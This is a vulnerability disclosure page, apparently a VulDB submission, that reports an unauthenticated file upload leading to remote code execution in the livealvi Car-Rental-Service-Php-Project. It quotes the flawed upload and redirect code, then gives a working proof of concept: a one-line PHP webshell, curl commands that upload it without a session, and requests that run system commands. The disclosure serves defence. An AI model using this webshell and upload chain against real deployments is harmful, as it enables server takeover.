Submit #1077288: livealvi Car-Rental-Service-Php-Project 1.0 Unauthenticated Arbitrary File Upload RCEinfo

Titellivealvi Car-Rental-Service-Php-Project 1.0 Unauthenticated Arbitrary File Upload RCE
Beschreibung# livealvi / Car-Rental-Service-Php-Project — Unauthenticated Arbitrary File Upload RCE CVE Candidate Report - Audit date: 2026-11-06 - Target repository: <https://github.com/livealvi/Car-Rental-Service-Php-Project> (created 2021-10-17, last commit 2021-12-14, master, no tags, 9 stars) - Stack: PHP + MySQL (`mysqli`, database `alvihasa_CarRentalServiceDB`) - Test environment: local lab PHP 5.5.38 + MariaDB 10.5.29, **full chain reproduced live: upload -> lands on disk keeping .php extension -> GET triggers command execution** - Verdict: **Unauthenticated arbitrary file upload -> Remote Code Execution (RCE)**. CVE dedup check clean. --- ## 1. CVE Deduplication (verified 2026-11-06) > Warning: "Car Rental" is a heavily reused product name in CVE records. Dedup was done strictly by vendor/product, excluding same-name but different-source projects one by one: | Check | Query | Result | | -------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------- | | NVD keyword `"Car Rental Service"` | `keywordSearch=%22Car%20Rental%20Service%22` | **0** | | CIRCL vendor browse | `cve.circl.lu/api/browse/livealvi` | `[]` (empty) | | Same-name projects excluded one by one | CVE-2020-5509 (phpgurukul Car Rental Project), CVE-2025-6667 (code-projects Car Rental System), CVE-2026-5634 / CVE-2026-5368 (projectworlds Car Rental Project) | All are **different codebases from other vendors**, no source relation to this repo (livealvi, AIUB course project, MVC layout Controller/Model/View) | | VulDB / web | Web search `Car-Rental-Service-Php-Project livealvi CVE` | No record of this project | | Prior reports in this workspace | Compared against the projectworlds car-rental CVE exclusion list | No overlap | **Conclusion: clean, safe to submit.** (When submitting, vendor must be `livealvi` and product `Car-Rental-Service-Php-Project`, to avoid confusion with the Car Rental series of phpgurukul / projectworlds / code-projects.) --- ## 2. Submission Fields | Field | Value | | ------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------- | | Vendor | `livealvi` | | Product | `Car-Rental-Service-Php-Project` | | Version | 1.0 (master snapshot 2021-12-14, no tags) | | Software Link | <https://github.com/livealvi/Car-Rental-Service-Php-Project> | | Environment | PHP / MySQL (XAMPP-style deployment) | | CWE | CWE-434 (Unrestricted Upload of File with Dangerous Type) -> RCE; compounded with CWE-306 (Missing Authentication for Critical Function) and CWE-552 | | CVSS 3.1 | `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` = **9.8** | --- ## 3. Vulnerability Details ### 1) Arbitrary file upload (no extension/content/MIME validation) All 7 upload handlers write the file using the **client-supplied original filename** with zero validation: - `Controller/AdminController/add_car_handler.php:41` (the other 6 are structurally identical: AdminController/add_owner, add_renter, add_employee; EmployeeController/car/add_car, owner/add_owner, renter/add_renter) ```php // Controller/AdminController/add_car_handler.php:38-42 if(empty($_FILES["img_file"]["name"])) array_push($req_err, "File selection Required"); else{ $img_file = $_FILES["img_file"]["name"]; $folder_name = "../User_Image/"; $target_file = $folder_name.basename($img_file); $car_img_url = $target_file; move_uploaded_file($_FILES["img_file"]["tmp_name"], $target_file); // <- no extension whitelist } ``` The upload directory `View/User_Image/` is web-accessible and PHP execution is not disabled there. ### 2) Missing authentication (CWE-306) — two exploitation paths - **Direct handler access**: `Controller/AdminController/add_car_handler.php` contains **zero session checks** (`session_start` exists only in the View layer), so a direct POST reaches it (under this path `../User_Image/` resolves to `Controller/User_Image/`, which does not exist in a default deployment, so the next path is preferred). - **View page path (preferred, live-tested)**: the auth block of `View/Admin/add_car_page.php` only sends `header()` without `exit`: ```php // View/Admin/add_car_page.php:2-7 session_start(); if(empty($_SESSION["user_name"]) || empty($_SESSION["user_type"]) || ($_SESSION["user_type"] != 'admin')) { header("Location:../login.php"); // <- no exit/die, PHP keeps executing } include '../../Controller/AdminController/add_car_handler.php'; // <- upload logic runs anyway ``` An anonymous POST to this page: the 302 response is sent, but the script **continues executing the included handler and completes the upload**. --- ## 4. PoC (reproduced live) Environment: `php -S 127.0.0.1:8891 -t Car-Rental-Service-Php-Project-main`. ```bash # [R0] Control: target file does not exist before upload curl -s -o /dev/null -w "http_code=%{http_code}\n" "http://<host>/View/User_Image/rce_shell.php" # Observed: 404 # [R1] Upload a PHP webshell with NO cookie (a forged Content-Type image/jpeg has no effect either way — the server performs no checks) printf '<?php echo "RCE_PROOF:"; echo system($_GET["cmd"]); echo ":RCE_END"; ?>' > rce_shell.php curl -s -o /dev/null -w "http_code=%{http_code}\n" -X POST "http://<host>/View/Admin/add_car_page.php" \ -F "owner_id=1" -F "car_model_name=Testcar" -F "car_reg_no=AA-1111" \ -F "submit=1" -F "img_file=@rce_shell.php;type=image/jpeg" # Observed: 302 (redirect issued but script keeps running, upload completes) # [R2] Confirm it landed: filename keeps its original .php extension ls View/User_Image/ # Observed: rce_shell.php present # [R3] Trigger command execution curl -s "http://<host>/View/User_Image/rce_shell.php?cmd=whoami" # Observed: RCE_PROOF:<current user>:RCE_END (whoami output returned) # [R4] Arbitrary command verification curl -s "http://<host>/View/User_Image/rce_shell.php?cmd=ipconfig" # network adapter info returned curl -s "http://<host>/View/User_Image/rce_shell.php?cmd=dir ..\..\Controller" # directory listing returned ``` ### Evidence summary | Step | Action | Observed | | ---- | ----------------------------------------- | ------------------------------------------------------------------- | | R0 | GET shell before upload | 404 | | R1 | POST multipart .php upload without cookie | 302 (aut
Quelle⚠️ https://github.com/13531282223/CVE/issues/3
Benutzer
 13353072304 (UID 102794)
Einreichung06.11.2026 03:26 (vor 27 Tagen)
Moderieren02.12.2026 19:20 (27 days later)
StatusAkzeptiert
VulDB Eintrag448100 [livealvi Car-Rental-Service-Php-Project bis 4748996172b6546e5e6922b40c64538dff04255a add_car_handler.php img_file erweiterte Rechte]
Punkte20

Do you know our Splunk app?

Download it now for free!